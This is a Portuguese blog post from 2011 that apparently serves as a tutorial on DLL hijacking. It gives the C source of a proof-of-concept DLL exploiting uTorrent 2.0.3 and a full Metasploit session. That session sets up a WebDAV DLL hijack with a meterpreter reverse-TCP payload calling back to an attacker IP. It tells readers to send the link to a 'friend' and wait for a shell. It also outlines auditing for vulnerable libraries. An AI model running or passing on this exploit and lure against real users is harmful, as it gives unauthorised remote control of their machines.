sexta-feira, 3 de junho de 2011

DLL Hijacking - agora é a minha vez

Tenho visto muitos posts sobre DLL Hijacking, que consiste em fazer com que o Windows rode uma DLL com código malicioso.

Neste post não vou detalhar esta vulnerabilidade e muito menos postar algo novo sobre o assunto, a idéia é postar um resumo do que eu acho importante daquilo que tenho visto em outros sites, por exemplo, um post no blog do HD Moore do projeto Metasploit falando sobre a ferramenta DLLHijackAuditKit v2.

Como explorar esta vulnerabilidade


Em 2010 foi descoberto uma vulnerabilidade no uTorrent chamada de "uTorrent <= 2.0.3 DLL Hijacking Exploit (plugin_dll.dll)"(1).

Uma breve explicação de como testar esse exploit:

Compile o código abaixo e nomeie para plugin_dll.dll:

#include
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

Crie um arquivo com qualquer nome, mas tem que ter a extensão .torrent, para o nosso exemplo vamos chamar esse arquivo de:

dllhijacking.torrent


Não se esqueça de instalar o uTorrent <= 2.0.3, dê dois cliques no arquivo (dllhijacking.torrent) e veja que a calculadora do Windows será executada. Poderíamos fazer com que fosse executado o uTorrent e uma backdoor no lugar da calculadora.

Este exploit já esta disponível no framework Metasploit, segue abaixo como executar esse modulo no framework:


#msfconsole
msf > use windows/browser/webdav_dll_hijacker
msf exploit(webdav_dll_hijacker) > set basename nome_do_arquivo
msf exploit(webdav_dll_hijacker) > set extensions “torrent”
msf exploit(webdav_dll_hijacker) > set sharename arquivos
msf exploit(webdav_dll_hijacker) > set payload windows/meterpreter/reverse_tcp
msf exploit(webdav_dll_hijacker) > set lport 443
msf exploit(webdav_dll_hijacker) > set lhost 192.168.200.1
msf exploit(webdav_dll_hijacker) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.200.1:443
[*] Exploit links are now available at \\192.168.200.1\arquivos\
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.200.1:80/
[*] Server started.


Mande o link "http://192.168.200.1/arquivos" para um amigo acessar e espere uma sessão ser aberta no metasploit, mas para funcionar ele tem que ter o uTorrent vulnerável.


obs: se você não sabe usar o Metasploit veja esse tutorial que postei aqui no blog:

http://osvaldohp.blogspot.com/2010/12/metasploit-parte-1.html

Como descobrir bibliotecas vulneráveis?

A resposta esta no blog do HD Moore do projeto Metasploit (2).  Moore fala sobre a nova versão da ferramenta  DLLHijackAuditKit v2, que serve para encontrar bibliotecas vulneráveis. No post de Moore ele descreve como você deve usar a ferramenta, segue abaixo os passos descrito por Moore:

1. Download DLLHijackAuditKit v2 e o Process Monitor, extraia para dentro de um diretório.

2. Execute 01_StartAudit.bat como Administrador.

3. Depois que o script acabar de executar (15-30 minutos), vá até o programa "Process Monitor", acesse File->Save. Salve o resultado no formato CSV com o nome "Logfile.CSV".

4. Agora execute 02_Analyze.bat como Administrador, ele ira "scanear" o arquivo CSV, ira realizar alguns testes e criar a prova de conceito para cada teste positivo.

Veja esse vídeo que mostra como executar o DLLHijackAuditKit e criar um payload com o metasploit para explorar esta vulnerabilidade se conectando em um netcat:

http://vimeo.com/14442659


A equipe do exploit-db fez uma lista com vários programas que estão vulneráveis a DLL Hijacking:

http://www.exploit-db.com/dll-hijacking-vulnerable-applications/

links:
(1) http://www.exploit-db.com/exploits/14726/
(2) http://blog.metasploit.com/2010/08/better-faster-stronger.html

Um comentário: